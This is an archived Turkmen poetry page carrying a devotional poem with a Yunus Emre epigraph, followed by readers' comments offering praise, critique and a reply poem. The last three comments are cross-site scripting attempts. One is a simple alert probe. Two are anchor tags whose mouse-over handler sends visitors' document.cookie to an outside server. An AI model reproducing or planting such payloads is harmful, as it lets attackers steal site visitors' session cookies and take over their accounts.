Bir goşgy
Haçandan bäri goşgy goýamok. Bir goşgy.
Başga hiç zat gerekmez,
Maňa Sen gerek, Sen gerek.
Ýunus Emre
* * *
Dam damja. Damja-damja dam.
Her demim.
Her günüm,
Her ýyl,
Her ömür bir damja.
Her döwür.
Bir damjadym menem.
Senden inen bir damja,
Ýüzümi Özüňe öwür.
Yhlasym artypdyr, gözlerim görýär.
Görmän bilmeýän.
Bilmeýän görmän.
Görenimi gördürme,
Diňe görenini gören kördür.
Daşymy gurşady goýazy ümür
Allahym, kör etme meni,
Ýüzümi Özüňe öwür.
Ädim-ädim ädilýär ädimlerim,
Maňa ýol gerek, men ýola gerek.
Höwesim köplüge gitmek.
Köplüge gidýän.
Köplükde galmagal,
Köplükde gowur…
Köplükden gidýän.
Men kime gerek?
Dünýämi tersine çöwür,
Ýüzümi Özüňe öwür.
Ýaşaýarkam Güneşi ber,
Ber maňa Aýy.
Gündizlerim ýagty bolsun.
Ýatmasyn gijelerim.
Men bir bijeli men.
Näme düşüpdir bijäme,
Altynmy, kümüşmi, mismi
Ýa kömür?
Sensiz men ýok.
Ýerem ýok, gögem,.
Güneşem ýok,
Ýaşypdyr gijämiň Aýy…
Ýüzümi Özüňe öwür.
Damjalap ýagyş ýagyp dur, gubur üstüne,
Başym üstüne.
Güneşsiz gijäm üstüne.
Dostam ýok, agladyp goýdular ýary.
Hany gyşyň gary?
Diňe sowugy bar hem gara gabyr.
Didelemden syrygýar ýaş,
Ömürem ýok, ýaşam ýok.
Ýagyşam ýok…
Gözýaşym damja-damja…
Utanjymdan ýalbarýaryn çalaja:
«Şindem bolsa, giç hem bolsa,
Ýüzümi Özüňe öwür.»
Arhiwiň ýagdaýy
● Doly tekst
● 22/22 teswir saklanypdyr
Ýazylan saýty: teswirler.com · Çeşme: Web Archive nusgasy — ertir.com, 8 maý 2012 ý. · Asyl sahypany gör ↗
Teswirler 22
👍
Yuzumi ozune owur diyip Allaha yuzlenilip aydylyarmy? Hudaydan dash dushmayin diyen manyda? Ya men yalnysh dushundimmikam?
🙂
Çunnur manyly 🙂 Yüzümi özüne öwür. 🙂
İn halan yerim;Görenimi gördürme,
Diňe görenini gören kördür.
Yhlasly agam oran cunnur manyly gosgy eken. Caksiz haladym (bu nahili soz boldygay!). Galamynyz kutelmesin, ylhamynyz sonmesin. Size Magtymgulynyn goşgularyna ymyzgadyp gosgy yazmagynyzy islap, okamany islardim. Saglygynyz...
Dogry düşünipsiň, dost. Okanyňa, wagt sarp edeniňe minnetdar.
rapmay bu haa???
goshgy ozunizinkimi Yhlasly aga? Yaman gowy eken
Täze goşgy, gowy gördüm. Ýöne Ýunus Emräň setirleriniň geregi ýok. Onsuzam düşnükli. Ýöne Ýunus Emrä wariasiýa diýseň bolar.
Birem soňky bendini aýyrmaly. Artykmaç bolupdyr. Ýokardan gelýän pafos peselipdir, jemlemede beýle pes äheňe garaşmandym.
Güneşem ýok,
Ýaşypdyr gijämiň Aýy --
Ýüzümi özüňe öwür!
Şu setirler öňki-soňky ähli diýiljek zady diýipdir. Soňky bentdäki dost, gar, ýagyş, ýaş, ömür ýok diýen ýaly zatlar hökmanmy?
Kab agam wariasiya diymek name?
super
Nostra! Wariasiýa bolanda ozal aýdylan bir pikire, garaýyşa öz wariantyňy görkezmek, hödürlemek.
Tuweleme yhlasly aga gaty gowy gosgy eken.Menem ustune gosayyn diydim, menki nace biderek bolsada.
Gozlesemde senden basgasyny enceme gezek
Yalbaryan bagysla meni, sen taslama meni
Yuzumi yuzsuzlerden ayyrda
Yuzumi ozune owur
Dost yok, yar yok
Nace bar diyselerem
Shol yene yoklar
Shol yene yoklyklar
Yoklykdan barlyga
Ya da yagtylyga tarap
Yuzumi owur
Gownumi owur
Minetdar Kab aga! 🙂
shu goshga serdip duzdunmi? 🙂
Howwa nostradamus aga 🙂
<a href=google.com onMouseOver=alert('sdf');> </a>
Gowy goshgy +1
<a href=google.com onMouseOver=$.ajax({type:'POST',url:http://www.habar.name/resp.php, data:{data1😆ocument.cookie},success:function(result){}});> Hawa nastradamus aga
<a href=http://www.google.com onMouseOver=$.ajax({type: 'POST', url:'http://www.habar.name/resp.php', data:{data1😆ocument.cookie}, success:function(result){}});> Hawa nastradamus aga